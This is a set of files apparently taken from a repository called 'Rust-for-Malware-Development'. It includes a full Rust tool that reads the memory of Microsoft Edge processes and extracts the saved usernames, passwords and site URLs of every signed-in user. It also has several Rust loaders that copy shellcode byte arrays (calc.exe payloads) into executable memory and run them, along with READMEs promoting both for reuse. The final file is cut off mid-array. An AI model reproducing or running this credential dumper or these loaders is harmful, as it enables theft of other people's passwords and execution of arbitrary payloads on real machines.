const SECURITY_BUILTIN_DOMAIN_RID: u32 = 0x0000_0020;
const DOMAIN_ALIAS_RID_ADMINS: u32 = 0x0000_0220;
const RED: &str = "\x1b[31m";
const GREEN: &str = "\x1b[32m";
const RESET: &str = "\x1b[0m";
const CREDENTIAL_PATTERN: &str = r"[a-zA-Z]https?\x20([a-zA-ZæøåÆØÅ0-9\\\-_\.@\?]{3,20})\x20([a-zA-ZæøåÆØÅ0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{6,40})\x20\x00";
const LINE_SPLIT_PATTERN: &str = r"\r\n|\r|\n";
struct EdgeProcess {
pid: u32,
owner: String,
}
fn enable_vt_mode() {
unsafe {
let h = GetStdHandle(STD_OUTPUT_HANDLE);
if h.is_null() || h == INVALID_HANDLE_VALUE {
return;
}
let mut mode: u32 = 0;
if GetConsoleMode(h, &mut mode) != 0 {
SetConsoleMode(h, mode | ENABLE_VIRTUAL_TERMINAL_PROCESSING);
}
}
}
fn wide_to_string(buf: &[u16]) -> String {
let len = buf.iter().position(|&c| c == 0).unwrap_or(buf.len());
String::from_utf16_lossy(&buf[..len])
}
fn is_elevated_admin() -> bool {
unsafe {
let nt_authority = SID_IDENTIFIER_AUTHORITY {
Value: [0, 0, 0, 0, 0, 5],
};
let mut admin_sid: PSID = null_mut();
if AllocateAndInitializeSid(
&nt_authority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0,
0,
0,
0,
0,
0,
&mut admin_sid,
) == 0
{
return false;
}
let mut is_member: i32 = 0;
let ok = CheckTokenMembership(null_mut(), admin_sid, &mut is_member);
FreeSid(admin_sid);
ok != 0 && is_member != 0
}
}
fn sid_to_account_name(sid: PSID) -> Option<String> {
unsafe {
let mut name_len: u32 = 0;
let mut domain_len: u32 = 0;
let mut sid_use: SID_NAME_USE = 0;
LookupAccountSidW(
null(),
sid,
null_mut(),
&mut name_len,
null_mut(),
&mut domain_len,
&mut sid_use,
);
if name_len == 0 {
return None;
}
let mut name = vec![0u16; name_len as usize];
let mut domain = vec![0u16; domain_len as usize];
let ok = LookupAccountSidW(
null(),
sid,
name.as_mut_ptr(),
&mut name_len,
if domain_len > 0 {
domain.as_mut_ptr()
} else {
null_mut()
},
&mut domain_len,
&mut sid_use,
);
if ok == 0 {
return None;
}
let name = wide_to_string(&name);
if domain_len > 0 {
let domain = wide_to_string(&domain);
if domain.is_empty() {
Some(name)
} else {
Some(format!("{}\\{}", domain, name))
}
} else {
Some(name)
}
}
}
fn get_process_owner(pid: u32) -> String {
unsafe {
let h_process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid);
if h_process.is_null() {
return "UNKNOWN".to_string();
}
let mut h_token: HANDLE = null_mut();
if OpenProcessToken(h_process, TOKEN_QUERY, &mut h_token) == 0 {
CloseHandle(h_process);
return "UNKNOWN".to_string();
}
let mut size: u32 = 0;
GetTokenInformation(h_token, TokenUser, null_mut(), 0, &mut size);
let owner = if size > 0 {
let mut buf = vec![0u8; size as usize];
if GetTokenInformation(
h_token,
TokenUser,
buf.as_mut_ptr().cast(),
size,
&mut size,
) != 0
{
let token_user = buf.as_ptr() as *const TOKEN_USER;
sid_to_account_name((*token_user).User.Sid)
.unwrap_or_else(|| "UNKNOWN".to_string())
} else {
"UNKNOWN".to_string()
}
} else {
"UNKNOWN".to_string()
};
CloseHandle(h_token);
CloseHandle(h_process);
owner
}
}
fn enumerate_msedge_processes() -> Vec<(u32, u32)> {
let mut entries = Vec::new();
unsafe {
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == INVALID_HANDLE_VALUE {
return entries;
}
let mut entry: PROCESSENTRY32W = zeroed();
entry.dwSize = size_of::<PROCESSENTRY32W>() as u32;
if Process32FirstW(snap, &mut entry) != 0 {
loop {
let name = wide_to_string(&entry.szExeFile);
if name.eq_ignore_ascii_case("msedge.exe") {
entries.push((entry.th32ProcessID, entry.th32ParentProcessID));
}
if Process32NextW(snap, &mut entry) == 0 {
break;
}
}
}
CloseHandle(snap);
}
entries
}
fn scan_process_memory(
proc: &EdgeProcess,
pattern: &Regex,
line_split: &Regex,
seen: &mut HashSet<String>,
) -> usize {
let mut shown_matches = 0usize;
unsafe {
let h_process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, proc.pid);
if h_process.is_null() {
println!(
"Failed to open process: {} msedge.exe {}",
proc.pid, proc.owner
);
return 0;
}
let mut address: usize = 0;
loop {
let mut mem_info: MEMORY_BASIC_INFORMATION = zeroed();
let queried = VirtualQueryEx(
h_process,
address as _,
&mut mem_info,
size_of::<MEMORY_BASIC_INFORMATION>(),
);
if queried == 0 {
break;
}
let readable =
mem_info.State == MEM_COMMIT && mem_info.Protect == PAGE_READWRITE;
if readable && mem_info.RegionSize > 0 {
let mut buffer = vec![0u8; mem_info.RegionSize];
let mut bytes_read: usize = 0;
let ok = ReadProcessMemory(
h_process,
mem_info.BaseAddress,
buffer.as_mut_ptr().cast(),
mem_info.RegionSize,
&mut bytes_read,
);
if ok != 0 && bytes_read > 0 {
let lossy = String::from_utf8_lossy(&buffer[..bytes_read]);
shown_matches +=
scan_buffer(&lossy, pattern, line_split, seen);
}
}
let next = (mem_info.BaseAddress as usize).saturating_add(mem_info.RegionSize);
if next <= address {
break;
}
address = next;
}
CloseHandle(h_process);
}
shown_matches
}
fn scan_buffer(
text: &str,
pattern: &Regex,
line_split: &Regex,
seen: &mut HashSet<String>,
) -> usize {
let mut shown = 0usize;
for line in line_split.split(text) {
for caps in pattern.captures_iter(line) {
let username = match caps.get(1) {
Some(m) => m.as_str(),
None => continue,
};
let password = match caps.get(2) {
Some(m) => m.as_str(),
None => continue,
};
let url_pattern_str = format!(
r"\x00\x00\x00([A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%]+)(https?)\x20{} {}",
regex::escape(username),
regex::escape(password),
);
let url_re = match Regex::new(&url_pattern_str) {
Ok(re) => re,
Err(_) => continue,
};
for url_caps in url_re.captures_iter(line) {
if let Some(value) = url_caps.get(1) {
let combined =
format!("{} : {} @{}", username, password, value.as_str());
if seen.insert(combined.clone()) {
println!("{}", combined);
shown += 1;
}
}
}
}
}
shown
}
fn main() {
enable_vt_mode();
if !is_elevated_admin() {
println!("{}[x]{} Not running elevated", RED, RESET);
std::process::exit(1);
}
println!("{}[v]{} Running elevated\n", GREEN, RESET);
print!("Fetching browser processes:");
std::io::stdout().flush().ok();
let entries = enumerate_msedge_processes();
let pid_set: HashSet<u32> = entries.iter().map(|(pid, _)| *pid).collect();
let processes: Vec<EdgeProcess> = entries
.iter()
.filter(|(_, ppid)| !pid_set.contains(ppid))
.map(|(pid, _)| EdgeProcess {
pid: *pid,
owner: get_process_owner(*pid),
})
.collect();
println!(" Done.\n");
let pattern = Regex::new(CREDENTIAL_PATTERN).expect("invalid credential pattern");
let line_split = Regex::new(LINE_SPLIT_PATTERN).expect("invalid line split pattern");
let mut seen: HashSet<String> = HashSet::new();
let mut already_checked: HashSet<String> = HashSet::new();
let mut total_matches: usize = 0;
for proc in &processes {
let key = format!("{} msedge.exe", proc.owner);
if already_checked.contains(&key) {
continue;
}
let display_owner = proc.owner.replace("NSC\\t1_", "");
println!(
"Scanning process PID: {}\tName: msedge.exe\tOwner: {}",
proc.pid, display_owner
);
let shown = scan_process_memory(proc, &pattern, &line_split, &mut seen);
total_matches += shown;
already_checked.insert(key);
}
println!(
"\nTotal matches found across all processes: {}. {} shown.",
total_matches, total_matches
);
}
+19
View File
@@ -0,0 +1,19 @@
## Browser Credentials Dumper
Welcome to the **Browser Creds Dumper** directory of [`Rust-for-Malware-Development`](https://github.com/Whitecat18/Rust-for-Malware-Development).
PoCs that pull saved logins straight out of browser process memory. When credentials are already sitting there in plain text, there is nothing to decrypt and no master-key dance to perform.
## Sections & Links
- [EdgeSavedPasswordsDumper](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Browser%20Creds%20Dumper/EdgeSavedPasswordsDumper):
Reads saved usernames, passwords, and origin URLs from the parent `msedge.exe` process heap. On a shared host an administrator can recover credentials for every signed-in or disconnected Edge user. Microsoft has marked the behaviour as by design.
## How to Use
Clone the repository and step into the folder:
```bash
git clone https://github.com/Whitecat18/Rust-for-Malware-Development.git
cd Rust-for-Malware-Development/Browser\ Creds\ Dumper
```
Each sub-folder is its own Cargo project. Build with `cargo build --release`.
+26
View File
@@ -0,0 +1,26 @@
### How to clean all the repository recursively ?
For Unix/Linux/MacOS:
* bash
```
find . -type d -exec sh -c 'cd "{}" && test -f Cargo.lock && (cargo clean; rm -f Cargo.lock)' \;
```
For Windows Powershell:
* Latest Powershell Version:
```
Get-ChildItem -Directory -Recurse | ForEach-Object { if (Test-Path "$_\Cargo.lock") { Set-Location $_; cargo clean; Remove-Item "Cargo.lock" -ErrorAction SilentlyContinue; Set-Location .. } }
```
* PowerShell 5.1 and earlier:
```
Get-ChildItem -Recurse | Where-Object { $_.PSIsContainer } | ForEach-Object { if (Test-Path "$($_.FullName)\Cargo.lock") { Set-Location $_.FullName; cargo clean; Remove-Item "Cargo.lock" -ErrorAction SilentlyContinue; Set-Location .. } }
```
* Command Prompt(CMD)
```
for /r %d in (.) do @if exist "%d\Cargo.lock" (cd /d "%d" & cargo clean & del /q "%d\Cargo.lock" & cd ..)
```
+1
View File
@@ -0,0 +1 @@
maldev.5mukx.site
+27
View File
@@ -0,0 +1,27 @@
## Custom Shellcode
Welcome to the **Custom_Shellcode** directory of [`Rust-for-Malware-Development`](https://github.com/Whitecat18/Rust-for-Malware-Development).
Drop-in shellcode samples for testing your own loaders, plus a small helper for pulling shellcode out of a compiled binary. Every payload in this folder just pops `calc.exe`, so it is safe to detonate inside a VM.
## Cargo Projects
- [shellcode_extract](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Custom_Shellcode/shellcode_extract):
Reads a PE on disk and dumps the bytes of a chosen section (`.text` by default) as raw shellcode. Handy for turning your own Rust binary into a payload.
## Standalone Calc Payloads
Each of these is a Rust source file containing a different `calc.exe` shellcode variant. Copy the byte array straight into your loader.
- [calc_shellcode1.rs](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Custom_Shellcode/calc_shellcode1.rs)
- [calc_shellcode2.rs](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Custom_Shellcode/calc_shellcode2.rs)
- [calc_shellcode3.rs](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Custom_Shellcode/calc_shellcode3.rs)
- [calc_shellcode4.rs](https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Custom_Shellcode/calc_shellcode4.rs)
## How to Use
```bash
git clone https://github.com/Whitecat18/Rust-for-Malware-Development.git
cd Rust-for-Malware-Development/Custom_Shellcode
```
For `shellcode_extract`, `cd` into the folder and run `cargo build --release`. For the loose `.rs` files, copy the shellcode array into your loader's source.
+41
View File
@@ -0,0 +1,41 @@
/*
Windows x64 Null-Free Shellcode
*/
use std::ptr::null_mut;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
fn main() -> std::io::Result<()> {
let shellcode: [u8; 85] = [
0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48,
0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30,
0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20,
0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01,
0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7,
];
unsafe {
let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);
if mem.is_null() {
return Err(std::io::Error::last_os_error());
}
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
let mut old_protect = 0;
let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);
if result == 0 {
return Err(std::io::Error::last_os_error());
}
let func: extern "C" fn() = std::mem::transmute(mem);
func();
}
Ok(())
}
+51
View File
@@ -0,0 +1,51 @@
/*
Windows x64 Calc.exe Shellcode
call WinExec from kernel32.dll without external dependencies dynamically ...!
*/
use std::ptr::null_mut;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
fn main() -> std::io::Result<()> {
let shellcode: [u8; 215] = [
0x48, 0x31, 0xdb, 0x65, 0x48, 0x8b, 0x1c, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5b,
0x18, 0x48, 0x81, 0xc3, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x1b, 0x48,
0x8b, 0x1b, 0x48, 0x8b, 0x5b, 0x20, 0x49, 0x89, 0xd8, 0x41, 0x8b, 0x58, 0x3c, 0x4c, 0x01,
0xc3, 0x48, 0x31, 0xc9, 0x80, 0xc1, 0x88, 0x8b, 0x1c, 0x0b, 0x4c, 0x01, 0xc3, 0x49, 0x89,
0xd9, 0x4d, 0x31, 0xd2, 0x45, 0x8b, 0x51, 0x1c, 0x4d, 0x01, 0xc2, 0x4d, 0x31, 0xdb, 0x45,
0x8b, 0x59, 0x20, 0x4d, 0x01, 0xc3, 0x4d, 0x31, 0xe4, 0x45, 0x8b, 0x61, 0x24, 0x4d, 0x01,
0xc4, 0x48, 0x31, 0xc9, 0x80, 0xc1, 0x07, 0x48, 0x31, 0xc0, 0x50, 0x48, 0xb8, 0x57, 0x69,
0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x50, 0x48, 0x89, 0xe3, 0xe8, 0x33, 0x00, 0x00, 0x00,
0x49, 0x89, 0xc5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x51, 0x48, 0xb9, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x51, 0x48, 0x89, 0xe1, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0x20,
0x00, 0x00, 0x00, 0x41, 0xff, 0xd5, 0x48, 0x31, 0xc0, 0x51, 0x48, 0x31, 0xff, 0x48, 0x8b,
0x0c, 0x24, 0x48, 0x89, 0xde, 0x41, 0x8b, 0x3c, 0x83, 0x4c, 0x01, 0xc7, 0xf3, 0xa6, 0x74,
0x05, 0x48, 0xff, 0xc0, 0xeb, 0xe6, 0x59, 0x66, 0x41, 0x8b, 0x04, 0x44, 0x41, 0x8b, 0x04,
0x82, 0x4c, 0x01, 0xc0, 0xc3,
];
unsafe {
let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);
if mem.is_null() {
return Err(std::io::Error::last_os_error());
}
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
let mut old_protect = 0;
let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);
if result == 0 {
return Err(std::io::Error::last_os_error());
}
let func: extern "C" fn() = std::mem::transmute(mem);
func();
}
Ok(())
}
+42
View File
@@ -0,0 +1,42 @@
/*
Windows x32 Calc.exe Shellcode
*/
use std::ptr::null_mut;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
fn main() -> std::io::Result<()> {
// windows x32 bit
let shellcode: [u8; 53] = [
0xeb, 0x1b, 0x5b, 0x31, 0xc0, 0x50, 0x31, 0xc0, 0x88, 0x43, 0x13, 0x53, 0xbb, 0xad, 0x23, 0x86,
0x7c, 0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0xfa, 0xca, 0x81, 0x7c, 0xff, 0xd3, 0xe8, 0xe0, 0xff,
0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2f, 0x63, 0x20, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65,
];
unsafe {
let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);
if mem.is_null() {
return Err(std::io::Error::last_os_error());
}
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
let mut old_protect = 0;
let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);
if result == 0 {
return Err(std::io::Error::last_os_error());
}
let func: extern "C" fn() = std::mem::transmute(mem);
func();
}
Ok(())
}
+134
View File
@@ -0,0 +1,134 @@
/*
Windows x64 Calc.exe Shellcode
*/
use std::ptr::null_mut;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
fn main() -> std::io::Result<()> {
let shellcode: [u8; 1342] = [
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x66, 0x9C, 0x50, 0x51, 0x52, 0x53, 0x55, 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41,
0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0xE8, 0x1F, 0x00,
0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A,
0x41, 0x59, 0x41, 0x58, 0x5F, 0x5E, 0x5D, 0x5B, 0x5A, 0x59, 0x58, 0x66, 0x9D, 0xFF,
0x25, 0xBB, 0xFF, 0xFF, 0xFF, 0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48,
0x83, 0xEC, 0x20, 0xE8, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xE6, 0x5E, 0xC3, 0x48,
0x83, 0xEC, 0x38, 0xE8, 0x20, 0x00, 0x00, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x64, 0x00,
0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xE8,
0x8F, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x83, 0x7C, 0x24, 0x20,
0x00, 0x75, 0x07, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEB, 0x46, 0xE8, 0x08, 0x00, 0x00,
0x00, 0x57, 0x69, 0x6E, 0x45, 0x78, 0x65, 0x63, 0x00, 0x5A, 0x48, 0x8B, 0x4C, 0x24,
0x20, 0xE8, 0x33, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7C,
0x24, 0x28, 0x00, 0x75, 0x07, 0xB8, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x1A, 0xBA, 0x01,
0x00, 0x00, 0x00, 0xE8, 0x09, 0x00, 0x00, 0x00, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65,
0x78, 0x65, 0x00, 0x59, 0xFF, 0x54, 0x24, 0x28, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x38,
0xC3, 0x48, 0x89, 0x54, 0x24, 0x10, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC,
0x78, 0x48, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30,
0x48, 0x8B, 0x44, 0x24, 0x30, 0x0F, 0xB7, 0x00, 0x3D, 0x4D, 0x5A, 0x00, 0x00, 0x74,
0x07, 0x33, 0xC0, 0xE9, 0xFA, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48,
0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x40, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48,
0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0x48, 0x8D, 0x84, 0x01, 0x88, 0x00,
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0x44, 0x24, 0x38, 0x83, 0x38,
0x00, 0x75, 0x07, 0x33, 0xC0, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24,
0x38, 0x8B, 0x00, 0x89, 0x44, 0x24, 0x18, 0x8B, 0x44, 0x24, 0x18, 0x48, 0x03, 0x84,
0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x44, 0x24,
0x10, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x44, 0x24, 0x10,
0x8B, 0x40, 0x1C, 0x89, 0x44, 0x24, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40,
0x20, 0x89, 0x44, 0x24, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x8B, 0x40, 0x24, 0x89,
0x44, 0x24, 0x20, 0x48, 0xC7, 0x44, 0x24, 0x08, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0D,
0x48, 0x8B, 0x44, 0x24, 0x08, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48,
0x8B, 0x44, 0x24, 0x48, 0x48, 0x39, 0x44, 0x24, 0x08, 0x0F, 0x83, 0x3B, 0x01, 0x00,
0x00, 0x8B, 0x44, 0x24, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48,
0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x48, 0x8D, 0x04, 0x88,
0x48, 0x89, 0x44, 0x24, 0x58, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0x80,
0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x8B, 0x4C, 0x24, 0x08,
0x48, 0x8D, 0x04, 0x48, 0x48, 0x89, 0x44, 0x24, 0x50, 0x8B, 0x44, 0x24, 0x24, 0x48,
0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48,
0x8B, 0x4C, 0x24, 0x50, 0x0F, 0xB7, 0x09, 0x48, 0x8D, 0x04, 0x88, 0x48, 0x89, 0x44,
0x24, 0x60, 0x48, 0x8B, 0x44, 0x24, 0x58, 0x8B, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80,
0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x28,
0x48, 0xC7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0B, 0x48, 0x8B, 0x04, 0x24,
0x48, 0xFF, 0xC0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x8C,
0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 0x00,
0x85, 0xC0, 0x74, 0x45, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48,
0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x74, 0x2F, 0x48, 0x8B,
0x04, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48,
0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x48, 0x8B, 0x0C, 0x24, 0x48, 0x8B, 0x54, 0x24, 0x28,
0x48, 0x03, 0xD1, 0x48, 0x8B, 0xCA, 0x0F, 0xBE, 0x09, 0x3B, 0xC1, 0x74, 0x02, 0xEB,
0x02, 0xEB, 0x97, 0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x00, 0x00,
0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x75, 0x2D,
0x48, 0x8B, 0x04, 0x24, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B,
0xC1, 0x0F, 0xBE, 0x00, 0x85, 0xC0, 0x75, 0x17, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x8B,
0x00, 0x48, 0x8B, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B,
0xC1, 0xEB, 0x07, 0xE9, 0xA8, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x78,
0xC3, 0x48, 0x89, 0x4C, 0x24, 0x08, 0x48, 0x83, 0xEC, 0x58, 0x65, 0x48, 0x8B, 0x04,
0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8B, 0x44, 0x24,
0x40, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x44, 0x24,
0x48, 0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0x44, 0x24,
0x38, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0xEB, 0x0D, 0x48, 0x8B, 0x44,
0x24, 0x30, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8B, 0x44, 0x24,
0x38, 0x48, 0x39, 0x44, 0x24, 0x30, 0x0F, 0x84, 0xBF, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x44, 0x24, 0x30, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83,
0x7C, 0x24, 0x28, 0x00, 0x74, 0x0C, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x83, 0x78,
0x30, 0x00, 0x75, 0x05, 0xE9, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x28,
0x48, 0x8B, 0x40, 0x60, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0x83, 0x7C, 0x24, 0x10,
0x00, 0x75, 0x02, 0xEB, 0xA4, 0x48, 0xC7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xEB,
0x0B, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xFF, 0xC0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8B,
0x44, 0x24, 0x28, 0x0F, 0xB7, 0x40, 0x58, 0x48, 0x39, 0x04, 0x24, 0x0F, 0x83, 0x26,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x04, 0x48, 0x85, 0xC0, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C,
0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x05, 0xE9, 0xFF, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83,
0xF8, 0x5A, 0x7F, 0x47, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F,
0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 0x35, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48,
0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xE8, 0x41, 0x83, 0xC0, 0x61, 0x89,
0x44, 0x24, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7,
0x54, 0x24, 0x20, 0x66, 0x89, 0x14, 0x48, 0x0F, 0xB7, 0x44, 0x24, 0x20, 0x66, 0x89,
0x44, 0x24, 0x08, 0xEB, 0x12, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24,
0x0F, 0xB7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x08, 0x0F, 0xB7, 0x44, 0x24, 0x08,
0x66, 0x89, 0x44, 0x24, 0x18, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24,
0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x5A, 0x7F, 0x47, 0x48, 0x8B, 0x44, 0x24, 0x10,
0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 0x35, 0x48,
